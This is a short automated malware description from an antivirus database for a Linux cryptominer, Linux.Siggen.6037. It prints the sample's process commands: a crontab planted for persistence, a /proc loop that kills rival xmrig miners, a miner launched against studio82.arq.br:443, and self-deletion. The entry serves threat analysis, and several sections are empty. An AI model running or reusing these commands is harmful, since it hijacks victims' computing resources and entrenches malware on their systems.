Linux.Siggen.6037

Linux.Siggen.6037

Added to the Dr.Web virus database: 2023-11-25

Virus description added: 2023-11-25

To ensure autorun and distribution:

Creates or modifies the following files:

Malicious functions:

Launches itself as a daemon

Launches processes:

rm noUnqeoM
crontab /tmp/barontab > /dev/null
for i in $(ls /proc | grep -E \x27^[0-9]+$\x27); do -e \x5c\x22/proc/$i/cmdline\x5c\x22 && cmdline=$(tr -d \x27\x5c\x5c0\x27 < \x5c\x22/proc/$i/cmdline\x5c\x22) && grep -a \x27xmrig\x27 \x5c\x22/proc/$i/exe\x5c\x22 1>/dev/null 2>&1 && ! echo \x5c\x22$cmdline\x5c\x22 | grep -q \x27studio82\x27 && kill -9 $i; done
crontab -l
crontab /tmp/barontab
./noUnqeoM -o studio82.arq.br:443 --tls -B
grep -E ^[0-9]+$
for i in $(ls /proc | grep -E \x27^[0-9]+$\x27); do -e \x5c\x22/proc/$i/cmdline\x5c\x22 && cmdline=$(tr -d \x27\x5c\x5c0\x27 < \x5c\x22/proc/$i/cmdline\x5c\x22) && grep -a \x27donate-level\x27 \x5c\x22/proc/$i/exe\x5c\x22 1>/dev/null 2>&1 && ! echo \x5c\x22$cmdline\x5c\x22 | grep -q \x27studio82\x27 && kill -9 $i; done
ls /proc
./noUnqeoM -o studio82.arq.br:443 --tls -B; rm noUnqeoM

Performs operations with the file system:

Modifies file access rights:

Creates or modifies files:

Deletes files:

Changes time of creation/access/modification of files:

Network activity:

DNS ASK:

Other:

Collects CPU information

Collects RAM information